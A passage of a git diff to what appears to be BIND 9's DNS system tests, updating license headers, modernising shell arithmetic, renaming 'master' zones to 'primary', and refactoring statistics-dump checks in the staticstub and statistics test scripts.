 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns4/named.conf.in b/bin/tests/system/staticstub/ns4/named.conf.in
index dc6006df3d..40c2a17bab 100644
--- a/bin/tests/system/staticstub/ns4/named.conf.in
+++ b/bin/tests/system/staticstub/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/ns4/sign.sh b/bin/tests/system/staticstub/ns4/sign.sh
index b13d5aabfa..0598016914 100755
--- a/bin/tests/system/staticstub/ns4/sign.sh
+++ b/bin/tests/system/staticstub/ns4/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,8 +17,8 @@ zone=sub.example
 infile=${zone}.db.in
 zonefile=${zone}.db
 
-keyname1=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -n zone $zone`
-keyname2=`$KEYGEN -q -a NSEC3RSASHA1 -b 1024 -f KSK -n zone $zone`
+keyname1=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -n zone $zone)
+keyname2=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -f KSK -n zone $zone)
 
 cat $infile $keyname1.key $keyname2.key > $zonefile
 
diff --git a/bin/tests/system/staticstub/ns4/sub.example.db.in b/bin/tests/system/staticstub/ns4/sub.example.db.in
index 9d346eb7ee..255396b32c 100644
--- a/bin/tests/system/staticstub/ns4/sub.example.db.in
+++ b/bin/tests/system/staticstub/ns4/sub.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/staticstub/setup.sh b/bin/tests/system/staticstub/setup.sh
index 575ea4824e..61c56211c4 100755
--- a/bin/tests/system/staticstub/setup.sh
+++ b/bin/tests/system/staticstub/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -16,7 +18,7 @@ copy_setports ns2/named.conf.in tmp
 sed 's/SERVER_CONFIG_PLACEHOLDER/server-names { "ns.example.net"; };/' tmp > ns2/named.conf
 
 copy_setports ns3/named.conf.in tmp
-sed 's/EXAMPLE_ZONE_PLACEHOLDER/zone "example" { type master; file "example.db.signed"; };/' tmp > ns3/named.conf
+sed 's/EXAMPLE_ZONE_PLACEHOLDER/zone "example" { type primary; file "example.db.signed"; };/' tmp > ns3/named.conf
 
 copy_setports ns4/named.conf.in ns4/named.conf
 
diff --git a/bin/tests/system/staticstub/tests.sh b/bin/tests/system/staticstub/tests.sh
index 369a769d7a..e0f578858a 100755
--- a/bin/tests/system/staticstub/tests.sh
+++ b/bin/tests/system/staticstub/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -19,68 +23,68 @@ n=0
 
 for conf in conf/good*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that $conf is accepted ($n)"
 	ret=0
 	$CHECKCONF "$conf" || ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
 for conf in conf/bad*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that $conf is rejected ($n)"
 	ret=0
 	$CHECKCONF "$conf" >/dev/null && ret=1
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "trying an axfr that should be denied (NOTAUTH) ($n)"
 ret=0
 $DIG $DIGOPTS +tcp data.example. @10.53.0.2 axfr > dig.out.ns2.test$n || ret=1
 grep "; Transfer failed." dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "non recursive query for a static-stub zone with server name should be rejected ($n)"
 ret=0
  $DIG $DIGOPTS +tcp +norec data.example. @10.53.0.2 txt > dig.out.ns2.test$n \
  	|| ret=1
 grep "REFUSED" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "non recursive query for a static-stub zone with server name should be rejected ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +norec data.example.org. @10.53.0.2 txt > dig.out.ns2.test$n \
 	|| ret=1
 grep "REFUSED" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "allow-query ACL ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +norec data.example. @10.53.0.2 txt -b 10.53.0.7 \
 	> dig.out.ns2.test$n || ret=1
 grep "REFUSED" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "look for static-stub zone data with recursion (should be found) ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +noauth data.example. @10.53.0.2 txt > dig.out.ns2.test$n || ret=1
 digcomp knowngood.dig.out.rec dig.out.ns2.test$n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking authoritative NS is ignored for delegation ($n)"
 ret=0
 # the auth server returns a different (and incorrect) NS for .example.
@@ -90,9 +94,9 @@ grep "ns4.example." dig.out.ns2.test1.$n > /dev/null || ret=1
 $DIG $DIGOPTS +tcp data2.example. @10.53.0.2 txt > dig.out.ns2.test2.$n || ret=1
 grep "2nd test data" dig.out.ns2.test2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking queries for a child zone of the static-stub zone ($n)"
 ret=0
 # prime the delegation to a child zone of the static-stub zone
@@ -113,12 +117,12 @@ done
 grep "2nd sub test data" dig.out.ns2.test2.$n > /dev/null || ret=1
 # re-enable the parent
 copy_setports ns3/named.conf.in tmp
-sed 's/EXAMPLE_ZONE_PLACEHOLDER/zone "example" { type master; file "example.db.signed"; };/' tmp > ns3/named.conf
+sed 's/EXAMPLE_ZONE_PLACEHOLDER/zone "example" { type primary; file "example.db.signed"; };/' tmp > ns3/named.conf
 rndc_reload ns3 10.53.0.3
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking authoritative NS addresses are ignored for delegation ($n)"
 ret=0
 # the auth server returns a different (and incorrect) A/AAA RR for .example.
@@ -133,29 +137,29 @@ rndc_reload ns2 10.53.0.2
 $DIG $DIGOPTS +tcp data3.example. @10.53.0.2 txt > dig.out.ns2.test3.$n || ret=1
 grep "3rd test data" dig.out.ns2.test3.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # the authoritative server of the query domain (example.com) is the apex
 # name of the static-stub zone (example).  in this case the static-stub
 # configuration must be ignored and cached information must be used.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking NS of static-stub is ignored when referenced from other domain ($n)"
 ret=0
 $DIG $DIGOPTS +tcp data.example.com. @10.53.0.2 txt > dig.out.ns2.test$n || ret=1
 grep "example com data" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # check server-names
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking static-stub with a server-name ($n)"
 ret=0
 $DIG $DIGOPTS +tcp data.example.org. @10.53.0.2 txt > dig.out.ns2.test$n || ret=1
 grep "example org data" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 # Note: for a short term workaround we use ::1, assuming it's configured and
 # usable for our tests.  We should eventually use the test ULA and available
 # checks introduced in change 2916.
@@ -166,31 +170,31 @@ then
     $DIG $DIGOPTS +tcp data.example.info. @10.53.0.2 txt > dig.out.ns2.test$n || ret=1
     grep "example info data" dig.out.ns2.test$n > /dev/null || ret=1
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 else
     echo_i "SKIPPED: checking IPv6 static-stub address ($n)"
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "look for static-stub zone data with DNSSEC validation ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +dnssec data4.example. @10.53.0.2 txt > dig.out.ns2.test$n || ret=1
 grep "ad; QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep "4th test data" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "look for a child of static-stub zone data with DNSSEC validation ($n)"
 ret=0
 $DIG $DIGOPTS +tcp +dnssec data3.sub.example. @10.53.0.2 txt > dig.out.ns2.test$n || ret=1
 grep "ad; QUERY" dig.out.ns2.test$n > /dev/null || ret=1
 grep "3rd sub test data" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # reload with a different name server: existing zone shouldn't be reused.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking server reload with a different static-stub config ($n)"
 ret=0
 copy_setports ns2/named.conf.in tmp
@@ -199,9 +203,9 @@ rndc_reload ns2 10.53.0.2
 $DIG $DIGOPTS +tcp data2.example.org. @10.53.0.2 txt > dig.out.ns2.test$n || ret=1
 grep "2nd example org data" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking static-stub of a undelegated tld resolves after DS query ($n)"
 ret=0
 $DIG $DIGOPTS undelegated. @10.53.0.2 ds > dig.out.ns2.ds.test$n
@@ -209,7 +213,7 @@ $DIG $DIGOPTS undelegated. @10.53.0.2 soa > dig.out.ns2.soa.test$n
 grep "status: NXDOMAIN" dig.out.ns2.ds.test$n > /dev/null || ret=1
 grep "status: NOERROR" dig.out.ns2.soa.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/staticstub/tests_sh_staticstub.py b/bin/tests/system/staticstub/tests_sh_staticstub.py
new file mode 100644
index 0000000000..52c661c3e8
--- /dev/null
+++ b/bin/tests/system/staticstub/tests_sh_staticstub.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_staticstub(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/statistics/ans4/ans.pl b/bin/tests/system/statistics/ans4/ans.pl
index b82a00f53b..3a37a82814 100644
--- a/bin/tests/system/statistics/ans4/ans.pl
+++ b/bin/tests/system/statistics/ans4/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statistics/clean.sh b/bin/tests/system/statistics/clean.sh
index 8a82a49d64..37fa7dc9af 100644
--- a/bin/tests/system/statistics/clean.sh
+++ b/bin/tests/system/statistics/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -20,9 +22,11 @@ rm -f */named.memstats
 rm -f */named.run
 rm -f */ans.run
 rm -f */named.stats
+rm -f */named.stats-stage*
 rm -f dig.out*
 rm -f curl.out.*
 rm -f ns*/named.lock
 rm -f stats*out
 rm -f ns*/managed-keys.bind*
 rm -f xsltproc.out.*
+rm -f named.stats.* ns*/named.stats.*
diff --git a/bin/tests/system/statistics/ns1/named.conf.in b/bin/tests/system/statistics/ns1/named.conf.in
index b0e66bb0ab..8fd14f9855 100644
--- a/bin/tests/system/statistics/ns1/named.conf.in
+++ b/bin/tests/system/statistics/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/statistics/ns1/root.db b/bin/tests/system/statistics/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/statistics/ns1/root.db
+++ b/bin/tests/system/statistics/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statistics/ns1/zone.db b/bin/tests/system/statistics/ns1/zone.db
index 868fffcd03..7feee2cdad 100644
--- a/bin/tests/system/statistics/ns1/zone.db
+++ b/bin/tests/system/statistics/ns1/zone.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statistics/ns2/example.db b/bin/tests/system/statistics/ns2/example.db
index 4a3f33fb98..4d60ce3011 100644
--- a/bin/tests/system/statistics/ns2/example.db
+++ b/bin/tests/system/statistics/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statistics/ns2/internal.db b/bin/tests/system/statistics/ns2/internal.db
index 38a6b0d590..4f1014f152 100644
--- a/bin/tests/system/statistics/ns2/internal.db
+++ b/bin/tests/system/statistics/ns2/internal.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statistics/ns2/named.conf.in b/bin/tests/system/statistics/ns2/named.conf.in
index 2e503d1d88..48fb8b481f 100644
--- a/bin/tests/system/statistics/ns2/named.conf.in
+++ b/bin/tests/system/statistics/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ statistics-channels {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/statistics/ns2/named2.conf.in b/bin/tests/system/statistics/ns2/named2.conf.in
new file mode 100644
index 0000000000..d370931d39
--- /dev/null
+++ b/bin/tests/system/statistics/ns2/named2.conf.in
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation no;
+	notify yes;
+};
+
+statistics-channels {
+	inet 10.53.0.2 port @EXTRAPORT1@ allow { any; };
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+zone "example" {
+	type primary;
+	file "example.db";
+	allow-update { any; };
+	zone-statistics full;
+};
diff --git a/bin/tests/system/statistics/ns3/internal.db b/bin/tests/system/statistics/ns3/internal.db
index cdf2648434..c93c2b0963 100644
--- a/bin/tests/system/statistics/ns3/internal.db
+++ b/bin/tests/system/statistics/ns3/internal.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statistics/ns3/named.conf.in b/bin/tests/system/statistics/ns3/named.conf.in
index 7e4ac06311..4cc712d46b 100644
--- a/bin/tests/system/statistics/ns3/named.conf.in
+++ b/bin/tests/system/statistics/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -31,7 +33,7 @@ statistics-channels {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/statistics/ns3/root.hint b/bin/tests/system/statistics/ns3/root.hint
index 1acfd1403d..0f5c70127b 100644
--- a/bin/tests/system/statistics/ns3/root.hint
+++ b/bin/tests/system/statistics/ns3/root.hint
@@ -1,12 +1,21 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
+;
+; The configured root server is intentionally bad here,
+; so we can count queries "on fly", priming and the other
+; counters that would be immediately resolved if the root
+; nameservers would work.
+;
+
 $TTL 999999
 .			 IN NS	d.root-servers.nil.
 d.root-servers.nil.	 IN A	10.53.0.4
diff --git a/bin/tests/system/statistics/setup.sh b/bin/tests/system/statistics/setup.sh
index c4670066e3..7ffda5583c 100644
--- a/bin/tests/system/statistics/setup.sh
+++ b/bin/tests/system/statistics/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statistics/tests.sh b/bin/tests/system/statistics/tests.sh
index 055bd88d4a..61527d6b67 100644
--- a/bin/tests/system/statistics/tests.sh
+++ b/bin/tests/system/statistics/tests.sh
@@ -1,133 +1,152 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
-DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd"
-DIGCMD="$DIG $DIGOPTS -p ${PORT}"
+DIGCMD="$DIG +tcp -p ${PORT}"
 RNDCCMD="$RNDC -p ${CONTROLPORT} -c ../common/rndc.conf"
 
 status=0
 
 ret=0
 n=1
+stats=0
+nsock0nstat=0
+nsock1nstat=0
+rndc_stats() {
+	_ns=$1
+	_ip=$2
+
+	$RNDCCMD -s $_ip stats > /dev/null 2>&1 || return 1
+	[ -f "${_ns}/named.stats" ] || return 1
+
+	last_stats=named.stats.$_ns-$stats-$n
+	mv ${_ns}/named.stats $last_stats
+	stats=$((stats+1))
+}
 
 echo_i "fetching a.example from ns2's initial configuration ($n)"
 $DIGCMD +noauth a.example. @10.53.0.2 any > dig.out.ns2.1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "dumping initial stats for ns2 ($n)"
-$RNDCCMD -s 10.53.0.2 stats > /dev/null 2>&1
-[ -f ns2/named.stats ] || ret=1
+rndc_stats ns2 10.53.0.2 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "verifying adb records in named.stats ($n)"
-grep "ADB stats" ns2/named.stats > /dev/null || ret=1
+grep "ADB stats" $last_stats > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "checking for 1 entry in adb hash table in named.stats ($n)"
-grep "1 Addresses in hash table" ns2/named.stats > /dev/null || ret=1
+grep "1 Addresses in hash table" $last_stats > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "verifying cache statistics in named.stats ($n)"
-grep "Cache Statistics" ns2/named.stats > /dev/null || ret=1
+grep "Cache Statistics" $last_stats > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "checking for 2 entries in adb hash table in named.stats ($n)"
 $DIGCMD a.example.info. @10.53.0.2 any > /dev/null 2>&1
-$RNDCCMD -s 10.53.0.2 stats > /dev/null 2>&1
-grep "2 Addresses in hash table" ns2/named.stats > /dev/null || ret=1
+rndc_stats ns2 10.53.0.2 || ret=1
+grep "2 Addresses in hash table" $last_stats > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "dumping initial stats for ns3 ($n)"
-rm -f ns3/named.stats
-$RNDCCMD -s 10.53.0.3 stats > /dev/null 2>&1
-[ -f ns3/named.stats ] || ret=1
-if [ ! "$CYGWIN" ]; then
-    nsock0nstat=`grep "UDP/IPv4 sockets active" ns3/named.stats | awk '{print $1}'`
-    [ 0 -ne ${nsock0nstat:-0} ] || ret=1
-fi
+rndc_stats ns3 10.53.0.3 || ret=1
+nsock0nstat=$(grep "UDP/IPv4 sockets active" $last_stats | awk '{print $1}')
+[ 0 -ne ${nsock0nstat} ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "sending queries to ns3"
-$DIGCMD +tries=2 +time=1 +recurse @10.53.0.3 foo.info. any > /dev/null 2>&1
+$DIGCMD +tries=2 +time=1 +recurse @10.53.0.3 foo.info. any > /dev/null 2>&1 || true
 
